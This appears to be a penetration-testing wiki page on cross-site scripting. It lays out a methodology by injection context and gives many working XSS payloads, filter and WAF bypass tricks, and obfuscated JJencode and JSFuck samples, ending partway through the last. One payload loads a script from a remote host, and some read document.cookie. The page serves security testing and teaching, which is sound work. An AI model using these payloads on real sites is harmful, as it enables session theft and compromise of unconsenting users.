# XSS \(Cross Site Scripting\)

## Methodology

1. Check if **any value you control** \(_parameters_, _path_, _headers_?, _cookies_?\) is being **reflected** in the HTML or **used** by **JS** code.
2. **Find the context** where it's reflected/used.
3. If **reflected**
   1. Check **which symbols can you use** and depending on that, prepare the payload:
      1. In **raw HTML**: 
         1. Can you create new HTML tags?
         2. Can you use events or attributes supporting `javascript:` protocol?
         3. Can you create your own HTML tags?
         4. Can you bypass protections?
         5. Is the HTML content being interpreted by any client side JS engine \(_AngularJS_, _VueJS_, _Mavo_...\), you could abuse a [**Client Side Template Injection**](../client-side-template-injection-csti.md).
         6. If you cannot create HTML tags that execute JS code,could you abuse a [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection.md).
      2. Inside a **HTML tag**:
         1. Can you exit to raw HTML context?
         2. Can you create new events/attributes to execute JS code?
         3. Does the attribute where you are trapped support JS execution?
         4. Can you bypass protections?
      3. Inside **JavaScript code**:
         1. Can you escape the `<script>` tag?
         2. Can you escape the string and execute different JS code?
         3. Are your input in template literals \`\`\`\`\`\`\`\`?
         4. Can you bypass protections?
4. If **used**:
   1. You could exploit a **DOM XSS**, pay attention how your input is controlled and if your **controlled input is used by any sink.**

## Reflected values

In order to successfully exploit a XSS the first thing you need to find is a **value controlled by you that is being reflected** in the web page.

* **Intermediately reflected**: If you find that the value of a parameter or even the path is being reflected in the web page you could exploit a **Reflected XSS**.
* **Stored and reflected**: If you find that a value controlled by you is saved in the server and is reflected every time you access a page you could exploit a **Stored XSS**.
* **Accessed via JS**: If you find that a value controlled by you is being access using JS you could exploit a **DOM XSS**.

## Contexts

When trying to exploit a XSS the first thing you need to know if **where is your input being reflected**. Depending on the context, you will be able to execute arbitrary JS code on different ways.

### Raw HTML

If your input is **reflected on the raw HTML** page you will need to abuse some **HTML tag** in order to execute JS code: `<img , <iframe , <svg , <script` ... these are just some of the many possible HTML tags you could use.  
Also, keep in mind [Client Side Template Injection](../client-side-template-injection-csti.md).

### Inside HTML tags attribute

If your input is reflected inside the value of the attribute of a tag you could try:

1. To **escape from the attribute and from the tag** \(then you will be in the raw HTML\) and create new HTML tag to abuse: `"><img [...]`
2. If you **can escape from the attribute but not from the tag** \(`>` is encoded or deleted\), depending on the tag you could **create an event** that executes JS code: `" autofocus onfocus=alert(1) x="`
3. If you **cannot escape from the attribute** \(`"` is being encoded or deleted\), then depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked. Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**
4. If your input is reflected inside "**unexpoitable tags**" you could try the **`accesskey`** trick to abuse the vuln \(you will need some kind of social engineer to exploit this\): **`" accesskey="x" onclick="alert(1)" x="`**

### Inside JavaScript code

In this case your input is reflected between **`<script> [...] </script>`** tags of a HTML page, inside a **`.js`**file or inside an attribute using **`javascript:`** protocol:

* If reflected between **`<script> [...] </script>`** tags, even if your input if inside any kind of quotes, you can try to inject `</script>` and escape from this context. This works because the **browser will first parse the HTML tags** and then the content, therefore, it won't notice that your injected `</script>` tag is inside the HTML code.
* If reflected **inside a JS string** and the last trick isn't working you would need to **exit** the string, **execute** your code and **reconstruct** the JS code \(if there is any error, it won't be executed:
  * `'-alert(1)-'`
  * `';-alert(1)//`
  * `\';alert(1)//`
* If reflected inside template literals \`\` you can **embed JS expressions** using `${ ... }` syntax: ```var greetings =``Hello, ${alert\(1\)}\`\`\`

### DOM

There is **JS code** that is using **unsafely** some **data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.

{% page-ref page="dom-xss.md" %}

### **Universal XSS**

These kind of XSS can be found **anywhere**. They not depend just on the client exploitation of a web application but on **any** **context**. These kind of **arbitrary JavaScript execution** can even be abuse to obtain **RCE**, **read** **arbitrary** **files** in clients and servers, and more.  
Some **examples**:

{% page-ref page="server-side-xss-dynamic-pdf.md" %}

{% page-ref page="../../pentesting/pentesting-web/xss-to-rce-electron-desktop-apps.md" %}

## WAF bypass encoding image

![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](../../.gitbook/assets/eaubb2ex0aerank.jpg)

## Injecting inside raw HTML

When your input is reflected **inside the HTML page** or you can escape and inject HTML code in this context the **first** thing you need to do if check if you can abuse `<` to create new tags: Just try to **reflect** that **char** and check if it's being **HTML encoded** or **deleted** of if it is **reflected without changes**. **Only in the last case you will be able to exploit this case**.  
For this cases also **keep in mind** [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**  
_**Note: A HTML comment can be closed using `-->` or `--!>`**_

In this case and if no black/whitelisting is used, you could use payloads like:

```javascript
<script>alert(1)</script>
<img src=x onerror=alert(1) />
<svg onload=alert('XSS')>
```

But, if tags/attributes black/whitelisting is being used, you will need to **brute-force which tags** you can create.  
Once you have **located which tags are allowed**, you would need to **brute-force attributes/events** inside the found valid tags to see how you can attack the context.

### Tags/Events brute-force

Go to [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet) and click on _**Copy tags to clipboard**_. Then, send all of them using Burp intruder and check if any tags wasn't discovered as malicious by the WAF. Once you have discovered which tags you can use, you can **brute force all the events** using the valid tags \(in the same web page click on _**Copy events to clipboard**_ and follow the same procedure as before\).

### Custom tags

If you didn't find any valid HTML tag, you could try to **create a custom tag** and and execute JS code with the `onfocus` attribute. In the XSS request, you need to end the URL with `#` to make the page **focus on that object** and **execute** the code:

```text
/?search=<xss+id%3dx+onfocus%3dalert(document.cookie)+tabindex%3d1>#x
```

### Blacklist Bypasses

If some kind of blacklist is being used you could try to bypass it with some silly tricks:

```javascript
//Random capitalization
<script> --> <ScrIpT>
<img --> <ImG
//Double tag, in case just the first match is removed
<script><script>
//Double tag inside, in case just checked once
<SCRscriptIPT>alert(1)</SCRscriptIPT>
//You can substitude the space to separate attributes for:
/
/*%00/
/%00*/
%2F
%0D
%0C
%0A
%09
//Unexpected parent tags
<svg><x><script>alert('1'&#41</x>
//Unexpected weird attributes
<script x>
<script a="1234">
<script ~~~>
//Not closing tag, ending with " <" or " //"
<iframe SRC="javascript:alert('XSS');" <
<iframe SRC="javascript:alert('XSS');" //
//Extra open
<<script>alert("XSS");//<</script>
//Just weird an unexpected, use your imagination
<</script/script><script>
<input type=image src onerror="prompt(1)">
//Using `` instead of parenthesis
onerro=alert`1`
//Use more than one
<<TexTArEa/*%00//%00*/a="not"/*%00///AutOFocUs////onFoCUS=alert`1` //
```

### Length bypass \(XSS in 20chars\)

Taken from the blog of [Jorge Lajara](https://jlajara.gitlab.io/posts/2019/11/30/XSS_20_characters.html).

```javascript
<svg/onload=alert``>
<script src=//aa.es>
<script src=//℡㏛.pw>
```

The last one is using 2 unicode characters which expands to 5: telsr  
More of these characters can be found [here](https://www.unicode.org/charts/normalization/).  
To check in which characters are decomposed check [here](https://www.compart.com/en/unicode/U+2121).  
**More tiny XSS** payload [can be found here](https://github.com/terjanq/Tiny-XSS-Payloads).

### Weird combinations

From [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html)

```markup
<svg><animate onbegin=alert() attributeName=x></svg>
<object data="data:text/html,<script>alert(5)</script>">
<iframe srcdoc="<svg onload=alert(4);>">
<object data=javascript:alert(3)>
<iframe src=javascript:alert(2)>
<embed src=javascript:alert(1)>
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>
<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
```

### Click XSS - Clickjacking

If in order to exploit the vulnerability you need the **user to click a link or a form** with prepopulated data you could try to [**abuse Clickjacking**](../clickjacking.md#xss-clickjacking) \(if the page is vulnerable\).

### Impossible - Dangling Markup

If you just think that **it's impossible to create an HTML tag with an attribute to execute JS code**, you should check [**Danglig Markup** ](../dangling-markup-html-scriptless-injection.md)because you could **exploit** the vulnerability **without** executing **JS** code.

## Injecting inside HTML tag

### Inside the tag/escaping from attribute value

If you are in **inside a HTML tag**, the first thing you could try is to **escape** from the tag and use some of the techniques mentioned in the [previous section](./#injecting-inside-raw-html) to execute JS code.  
If you **cannot escape from the tag**, you could create new attributes inside the tag to try to execute JS code, for example using some payload like \(_note that in this example double quotes are use to escape from the attribute, you won't need them if your input is reflected directly inside the tag_\):

```javascript
" autofocus onfocus=alert(document.domain) x="
```

#### Style events

```python
<p style="animation: x;" onanimationstart="alert()">XSS</p>
<p style="animation: x;" onanimationend="alert()">XSS</p>

#ayload that injects an invisible overlay that will trigger a payload if anywhere on the page is clicked:
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.5);z-index: 5000;" onclick="alert(1)"></div>
#moving your mouse anywhere over the page (0-click-ish):
<div style="position:fixed;top:0;right:0;bottom:0;left:0;background: rgba(0, 0, 0, 0.0);z-index: 5000;" onmouseover="alert(1)"></div>
```

### Within the attribute

Even if you **cannot escape from the attribute** \(`"` is being encoded or deleted\), depending on **which attribute** your value is being reflected in **if you control all the value or just a part** you will be able to abuse it. For **example**, if you control an event like `onclick=` you will be able to make it execute arbitrary code when it's clicked.  
Another interesting **example** is the attribute `href`, where you can use the `javascript:` protocol to execute arbitrary code: **`href="javascript:alert(1)"`**

#### **Bypass inside event using HTML encoding/URL encode**

The **HTML encoded characters** inside the value of HTML tags attributes are **decoded on runtime**. Therefore something like the following will be valid \(the payload is in bold\): `<a id="author" href="http://none" onclick="var tracker='http://foo?`**`&apos;-alert(1)-&apos;`**`';">Go Back </a>`

Note that **any kind of HTML encode is valid**:

```javascript
//HTML entities
&apos;-alert(1)-&apos;
//HTML hex without zeros
&#x27-alert(1)-&#x27
//HTML hex with zeros
&#x00027-alert(1)-&#x00027
//HTML dec without zeros
&#39-alert(1)-&#39
//HTML dec with zeros
&#00039-alert(1)-&#00039

<a href="javascript:var a='&apos;-alert(1)-&apos;'">
```

**Note that URL encode will also work:**

```python
<a href="https://example.com/lol%22onmouseover=%22prompt(1);%20img.png">Click</a>
```

#### Bypass inside event using Unicode encode

```javascript
//For some reason you can use unicode to encode "alert" but not "(1)"
<img src onerror=\u0061\u006C\u0065\u0072\u0074(1) />
<img src onerror=\u{61}\u{6C}\u{65}\u{72}\u{74}(1) />
```

#### Bypass inside `javascript:`using HTML and URL encoding

Your input could also by **reflected** in HTML tags that accept the protocol **`javascript:`** like `<a href="javascript:fetch('/<your_input>'">` in these cases you can still **alter** the **JS flow** to execute arbitrary code.  
_**In this case the HTML encoding and the Unicode encoding trick from the previous section is also valid as you are inside an attribute.**_  
Moreover, there is another **nice trick** for these cases**: Even if your input inside `javascript:...` is being URL encoded, it will be URL decoded before it's executed.** So, if you need to **escape** from the **string** using a **single quote** and you see that **it's being URL encoded**, remember that **it doesn't matter,** it will be **interpreted** as a **single quote** during the **execution** time.  
_Note the `javascript:` protocol can be **used in any tag that accepts the attribute `href`** and in **most** of the tags that accepts the **attribute `src`** \(but not `<img`\)_

```javascript
&apos;-alert(1)-&apos;
%27-alert(1)-%27
<iframe src=javascript:%61%6c%65%72%74%28%31%29></iframe>
```

Note that if you try to **use both** `URLencode + HTMLencode` in any order to encode the **payload** it **won't** **work**, but you can **mix them inside the payload**.

#### Using Hex and Octal encode with `javascript:`

You can use **Hex** and **Octal encode** inside the `src` attribute of `iframe` \(at least\) to declare **HTML tags to execute JS**:

```javascript
//Encoded: <svg onload=alert(1)>
// This WORKS
<iframe src=javascript:'\x3c\x73\x76\x67\x20\x6f\x6e\x6c\x6f\x61\x64\x3d\x61\x6c\x65\x72\x74\x28\x31\x29\x3e' />
<iframe src=javascript:'\74\163\166\147\40\157\156\154\157\141\144\75\141\154\145\162\164\50\61\51\76' />

//Encoded: alert(1)
// This doesn't work
<svg onload=javascript:'\x61\x6c\x65\x72\x74\x28\x31\x29' />
<svg onload=javascript:'\141\154\145\162\164\50\61\51' />
```

#### Using data encoding

```javascript
<object data="data:text/html,<script>alert(1)</script>"></object>
<object data="data:text/html;charset=iso-8859-7,%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e"></object>
<object data="data:text/html;charset=UTF-8,<script>alert(1)</script>"></object>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4="></object>
<object data="data:text/html;charset=thing;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"></object>
```

#### &lt;a target="\_blank" rel="opener"

If you can inject any URL in an arbitrary **`<a href=`** tag that contains the **`target="_blank" and rel="opener"`** attributes, check the **following page to exploit this behavior**:

{% page-ref page="../reverse-tab-nabbing.md" %}

### XSS in "Unexploitable tags" \(input hidden, link, canonical\)

From [here](https://portswigger.net/research/xss-in-hidden-input-fields):  
You can execute an **XSS payload inside a hidden attribute**, provided you can **persuade** the **victim** into pressing the **key combination**. On Firefox Windows/Linux the key combination is **ALT+SHIFT+X** and on OS X it is **CTRL+ALT+X**. You can specify a different key combination using a different key in the access key attribute. Here is the vector:

```markup
<input type="hidden" accesskey="X" onclick="alert(1)">
```

T**he XSS payload will be something like this: `" accesskey="x" onclick="alert(1)" x="`**

### Blacklist Bypasses

Several tricks with using different encoding were exposed already inside this section. Go **back to learn where can you use HTML encoding, Unicode encoding, URL encoding, Hex and Octal encoding and even data encoding**.

#### Bypasses for HTML tags and attributes

Read the[ Blacklist Bypasses of the previous section](./#blacklist-bypasses).

#### Bypasses for JavaScript code

Read the J[avaScript bypass blacklist of the following section](./#javascript-bypass-blacklists-techniques).

## Injecting inside JavaScript code

In these case you **input** is going to be **reflected inside the JS code** of a `.js` file or between `<script>...</script>` tags or between HTML events that can execute JS code or between attributes that accepts the `javascript:` protocol.

### Escaping &lt;script&gt; tag

If your code is inserted within `<script> [...] var input = 'reflected data' [...] </script>` you could easily **escape closing the `<script>`** tag:

```javascript
</script><img src=1 onerror=alert(document.domain)>
```

Note that in this example we **haven't even closed the single quote**, but that's not necessary as the **browser first performs HTML parsing** to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts.

### Inside JS code

If `<>` are being sanitised you can still **escape the string** where your input is being **located** and **execute arbitrary JS**. It's important to **fix JS syntax**, because if there are any errors, the JS code won't be executed:

```text
'-alert(document.domain)-'
';alert(document.domain)//
\';alert(document.domain)//
```

### Template literals \`\`

In order to construct **strings** apart from single and double quotes JS also accepts **backticks** ``````````````` . This is known as template literals as they allow to **embedded JS expressions** using````````${ ... }`syntax.    
Therefore, if you find that your **input** is being **reflected inside** a JS string that is using **backticks**, you can abuse the syntax`${ ... }\` to execute **arbitrary JS code**:

```var greetings =``Hello, \`\`\`

This can be **abused** using: `${alert(1)}`

### JavaScript bypass blacklists techniques

#### Strings

```javascript
"thisisastring"
'thisisastrig'
`thisisastring`
/thisisastring/ == "/thisisastring/"
/thisisastring/.source == "thisisastring"
String.fromCharCode(116,104,105,115,105,115,97,115,116,114,105,110,103)
"\x74\x68\x69\x73\x69\x73\x61\x73\x74\x72\x69\x6e\x67"
"\164\150\151\163\151\163\141\163\164\162\151\156\147"
"\u0074\u0068\u0069\u0073\u0069\u0073\u0061\u0073\u0074\u0072\u0069\u006e\u0067"
"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
atob("dGhpc2lzYXN0cmluZw==")
```

#### Space substitutions inside JS code

```javascript
<TAB>
/**/
```

#### [JavaScript without parentheses](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)

#### JavaScript comments \(from [JavaScript Comments](./#javascript-comments) trick\)

```javascript
//This is a 1 line comment
/* This is a multiline comment*/
#!This is a 1 line comment, but "#!" must to be at the beggining of the line
-->This is a 1 line comment, but "-->" must to be at the beggining of the line
```

#### JavaScript new lines \(from [JavaScript new line](./#javascript-new-lines) trick\)

```javascript
//Javascript interpret as new line these chars:
String.fromCharCode(10) //0x0a
String.fromCharCode(13) //0x0d
String.fromCharCode(8232) //0xe2 0x80 0xa8
String.fromCharCode(8233) //0xe2 0x80 0xa8
```

#### Arbitrary function \(alert\) call

```javascript
`` //Can be use as parenthesis
alert`document.cookie`
alert(document['cookie']) 
with(document)alert(cookie) 
eval('ale'+'rt(1)')
(alert)(1)
(alert(1))in"."
a=alert,a(1)
[1].find(alert)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);
top[/al/.source+/ert/.source](1)
top[8680439..toString(30)](1)
Function("ale"+"rt(1)")();
new Function`al\ert\`6\``;
setTimeout('ale'+'rt(2)');
setInterval('ale'+'rt(10)');
Set.constructor('ale'+'rt(13)')();
Set.constructor`al\x65rt\x2814\x29```;
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
globalThis[`al`+/ert/.source]`1`
this[`al`+/ert/.source]`1`
[alert][0].call(this,1)
window['a'+'l'+'e'+'r'+'t']()
window['a'+'l'+'e'+'r'+'t'].call(this,1)
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
(1,2,3,4,5,6,7,8,alert)(1)
x=alert,x(1)
[1].find(alert)
top["al"+"ert"](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
al\u0065rt`1`
top['al\145rt'](1)
top['al\x65rt'](1)
top[8680439..toString(30)](1)
```

### General tricks

**To constructing strings**

Regex literals:  
 `/part1/.source+/part2/.source` =&gt; `'part1part2'`  
 Numbers to strings:  
 `8680439..toString(30)` =&gt; `'alert'` \( Number is generated using parseInt\(“alert”,30\), other bases also work \)

**use character escape sequences inside of strings**

simple tool for this is available [here](https://mothereff.in/js-escapes):  
 `"\x41" -> "A"`: hex encoding  
 `"\u0065" -> "A"`: unicode encoding \(value is decimal\)  
 `"\101" -> "A"`: octal encoding

**VaRy ThE capItaliZatiOn**

Sometimes a regex or other custom-made filters do case sensitive matching. You can then just use a toLowerCase\(\), like:  
 `globalThis["aLeRt".toLowerCase()]`

**Calling functions**

``alert`1``` : Template literal syntax  
 `alert.apply(this,[1])`: Using Function.prototype.apply  
 `alert.call(this,1)`: Using Function.prototype.call  
 `alert(1)`: Obviously, but included for completeness.  
 `[1].find(alert)`: Using predicates  
 `[1].filter(alert)`: Using predicates

**Reuse and recycle**

Remember to look into what is already loaded! jQuery is an easy example, but any sufficiently complex framework will likely have something usable. [Wappalyzer](https://chrome.google.com/webstore/detail/wappalyzer/gppongmhjkpfnbhagpmjfkannfbllamg?hl=en) or equivalent can help here.  
 `window.jQuery.globalEval("alert(1)")`  
 `$.globalEval("alert(1)")`

## **DOM vulnerabilities**

There is **JS code** that is using **unsafely data controlled by an attacker** like `location.href` . An attacker, could abuse this to execute arbitrary JS code.  
**Due to the extension of the explanation of** [**DOM vulnerabilities it was moved to this page**](dom-xss.md)**:**

{% page-ref page="dom-xss.md" %}

There you will find a detailed **explanation of what DOM vulnerabilities are, how are they provoked, and how to exploit them**.  
Also, don't forget that **at the end of the mentioned post** you can find an explanation about [**DOM Clobbering attacks**](dom-xss.md#dom-clobbering).

## Other Bypasses

### Normalised Unicode

You could check is the **reflected values** are being **unicode normalized** in the server \(or in the client side\) and abuse this functionality to bypass protections. [**Find an example here**](../unicode-normalization-vulnerability.md#xss-cross-site-scripting).

### PHP FILTER\_VALIDATE\_EMAIL flag Bypass

```javascript
"><svg/onload=confirm(1)>"@x.y
```

### Ruby-On-Rails bypass

Due to **RoR mass assignment** quotes are inserted in the HTML and then the quote restriction is bypassed and additoinal fields \(onfocus\) can be added inside the tag.  
Form example \([from this report](https://hackerone.com/reports/709336)\), if you send the payload:

```text
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
```

The pair "Key","Value" will be echoed back like this:

```text
{" onfocus=javascript:alert(&#39;xss&#39;) autofocus a"=>"a"}
```

Then, the onfocus attribute will be inserted:

![](../../.gitbook/assets/image%20%2882%29.png)

A XSS occurs.

### Special combinations

```markup
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1'&#41</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);"
```

### XSS with header injection in a 302 response

If you find that you can **inject headers in a 302 Redirect response** you could try to **make the browser execute arbitrary JavaScript**. This is **not trivial** as modern browsers do not interpret the HTTP response body if the HTTP response status code is a 302, so just a cross-site scripting payload is useless.

In [**this report**](https://www.gremwell.com/firefox-xss-302) and [**this one**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) you can read how you can test several protocols inside the Location header and see if any of them allows the browser to inspect and execute the XSS payload inside the body.  
Past known protocols: `mailto://`, `//x:1/`, `ws://`, `wss://`, _empty Location header_, `resource://`.

### Obfuscation & Advanced Bypass

* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs) 
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com/) 
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/) 
* [http://www.jsfuck.com/](http://www.jsfuck.com/)
* More sofisticated JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)

```javascript
//Katana
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
```

```javascript
//JJencode 
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
```

```javascript
//JSFuck
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(